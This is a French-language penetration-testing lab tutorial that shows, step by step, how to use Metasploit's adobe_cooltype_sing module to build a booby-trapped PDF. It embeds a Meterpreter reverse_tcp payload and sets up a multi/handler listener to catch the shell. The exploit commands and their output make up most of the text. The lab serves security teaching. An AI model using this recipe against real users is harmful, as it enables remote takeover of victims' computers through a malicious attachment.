Créer un fichier PDF malveillant pour une attaque côté client

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous explorerez le monde des attaques côté client en créant un fichier PDF malveillant à l'aide du Metasploit Framework. Les attaques côté client ciblent les vulnérabilités des applications sur l'ordinateur d'un utilisateur, telles que les navigateurs web, les lecteurs multimédias ou les visualiseurs de documents.

Les fichiers PDF sont un vecteur courant pour ces attaques car ils sont largement utilisés et souvent considérés comme fiables par les utilisateurs. En intégrant du code malveillant (une charge utile ou payload) dans un PDF apparemment inoffensif, un attaquant peut prendre le contrôle du système d'une victime lorsque le fichier est ouvert avec un lecteur PDF vulnérable.

Vous apprendrez à sélectionner une exploitation (exploit) spécifique, à la configurer avec une charge utile (payload), à générer le fichier malveillant et à configurer un écouteur (listener) pour gérer la connexion provenant du système compromis. Ce laboratoire fournit une compréhension fondamentale de la manière dont de telles attaques sont construites.

Sélection du module exploit/windows/fileformat/adobe_cooltype_sing

Dans cette étape, vous allez démarrer la console Metasploit Framework et sélectionner le module d'exploitation approprié pour créer un PDF malveillant. Le Metasploit Framework est un outil puissant pour les tests d'intrusion, et sa console, msfconsole, est l'interface principale pour interagir avec lui.

Tout d'abord, ouvrez un terminal et lancez la console Metasploit. Cela peut prendre un moment pour s'initialiser.

msfconsole -q

L'indicateur -q supprime la bannière pour un démarrage plus rapide. Une fois chargée, vous verrez l'invite msf6 >.

Nous allons utiliser une exploitation qui cible une vulnérabilité connue dans Adobe Reader. Le module s'appelle exploit/windows/fileformat/adobe_cooltype_sing. Utilisez la commande use pour charger ce module.

use exploit/windows/fileformat/adobe_cooltype_sing

Après avoir exécuté la commande, vous remarquerez que l'invite de commande change pour refléter le module actuellement chargé.

msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) >

Cela confirme que le module est maintenant actif et prêt à être configuré.

Définir l'option FILENAME pour le PDF de sortie

Dans cette étape, vous allez configurer les options du module d'exploitation sélectionné. Chaque module possède un ensemble d'options que vous pouvez personnaliser. Pour voir les options disponibles pour le module actuel, utilisez la commande show options.

show options

Cette commande affichera un tableau de paramètres que vous pouvez définir, tels que le nom du fichier de sortie et les paramètres de la charge utile (payload).

Module options (exploit/windows/fileformat/adobe_cooltype_sing):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.pdf          yes       The file name.
   ...

Payload options (generic/shell_reverse_tcp):
...

Nous devons définir l'option FILENAME pour spécifier le nom de notre fichier PDF malveillant. Nous l'appellerons malicious.pdf. Utilisez la commande set pour attribuer cette valeur.

set FILENAME malicious.pdf

Vous pouvez exécuter à nouveau show options pour vérifier que le FILENAME a été mis à jour avec succès.

FILENAME  malicious.pdf    yes       The file name.

Configurer une charge utile (payload) reverse_tcp avec LHOST et LPORT

Dans cette étape, vous allez configurer la charge utile (payload). Une charge utile est le code qui sera exécuté sur le système cible après la réussite de l'exploitation. Nous utiliserons une charge utile reverse_tcp, qui force la machine de la victime à se reconnecter à notre machine.

Tout d'abord, définissez la charge utile sur windows/meterpreter/reverse_tcp. Meterpreter est une charge utile avancée et dynamiquement extensible qui offre plus de fonctionnalités qu'un shell standard.

set payload windows/meterpreter/reverse_tcp

Ensuite, nous devons configurer les options de la charge utile : LHOST et LPORT.

  • LHOST : Il s'agit de l'"Hôte d'écoute" (Listening Host), qui est l'adresse IP de votre machine. La machine de la victime se connectera à cette IP.
  • LPORT : Il s'agit du "Port d'écoute" (Listening Port), le port sur votre machine qui écoutera la connexion.

Pour trouver l'adresse IP de votre machine, vous pouvez ouvrir un nouvel onglet de terminal et exécuter la commande ip a. Recherchez l'adresse IP associée à l'interface eth0.

ip a

Maintenant, définissez LHOST sur votre adresse IP (remplacez YOUR_IP_ADDRESS par l'IP réelle) et LPORT sur un port courant comme 4444.

set LHOST YOUR_IP_ADDRESS
set LPORT 4444

Exécutez show options une dernière fois pour confirmer que tous les paramètres sont corrects. Vous devriez voir votre FILENAME, PAYLOAD, LHOST et LPORT configurés.

Générer le fichier PDF malveillant

Dans cette étape, toutes les options étant configurées, vous êtes prêt à générer le fichier PDF malveillant. La commande exploit (ou son alias run) assemblera l'exploit et la charge utile (payload) dans le fichier final.

Exécutez la commande exploit dans votre fenêtre msfconsole.

exploit

Metasploit va maintenant créer le fichier PDF. La sortie affichera le processus et, plus important encore, l'emplacement où le fichier a été sauvegardé.

[*] Creating 'malicious.pdf' file...
[+] malicious.pdf stored at /home/labex/.msf4/local/malicious.pdf

Le fichier est maintenant créé. Dans un scénario réel, un attaquant livrerait ce fichier à une cible, par exemple, en pièce jointe d'un e-mail. Vous pouvez vérifier son existence en utilisant la commande ls dans un nouveau terminal.

ls -l /home/labex/.msf4/local/malicious.pdf
-rw-r--r-- 1 labex labex 12345 Date Time /home/labex/.msf4/local/malicious.pdf

Configurer un gestionnaire (handler) dans msfconsole pour intercepter le shell

Dans cette étape, vous allez configurer un écouteur, également appelé gestionnaire (handler), pour "intercepter" la connexion entrante de la machine de la victime lorsque le PDF malveillant est ouvert. Sans gestionnaire, la charge utile (payload) n'a nulle part où se connecter.

Nous utiliserons le module exploit/multi/handler, qui est un écouteur générique.

use exploit/multi/handler

Maintenant, vous devez configurer ce gestionnaire avec la charge utile (payload) et les options (LHOST et LPORT) exactement identiques à celles que vous avez intégrées dans le fichier PDF. Ceci est crucial pour que la connexion réussisse.

set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP_ADDRESS
set LPORT 4444

N'oubliez pas de remplacer YOUR_IP_ADDRESS par l'adresse IP de votre machine.

Une fois le gestionnaire configuré, lancez-le en utilisant la commande exploit -j. L'option -j exécute le gestionnaire en tant que tâche d'arrière-plan, ce qui libère votre invite msfconsole pour d'autres commandes pendant que l'écouteur est actif.

exploit -j

Vous verrez une confirmation que le gestionnaire a démarré.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on YOUR_IP_ADDRESS:4444

Le gestionnaire écoute maintenant une connexion. Dans ce laboratoire, nous ne simulerons pas l'ouverture du fichier par une victime, mais votre configuration est terminée. Vous avez créé avec succès un fichier malveillant et préparé un écouteur pour gérer le reverse shell.

Résumé

Dans ce laboratoire, vous avez parcouru avec succès les étapes fondamentales de la création d'un PDF malveillant pour une attaque côté client à l'aide du Metasploit Framework.

Vous avez appris à :

  • Lancer la console Metasploit et sélectionner un module d'exploitation approprié.
  • Configurer les options d'exploitation, telles que le nom du fichier de sortie.
  • Sélectionner et configurer une charge utile (payload) (windows/meterpreter/reverse_tcp) avec les paramètres LHOST et LPORT nécessaires.
  • Générer le fichier PDF malveillant final.
  • Configurer et exécuter un gestionnaire (handler) (exploit/multi/handler) pour écouter et intercepter la connexion entrante d'un système compromis.

Cet exercice offre une compréhension pratique des mécanismes derrière un vecteur d'attaque courant et souligne l'importance de maintenir les logiciels, en particulier les lecteurs de documents, à jour pour se protéger contre de telles vulnérabilités.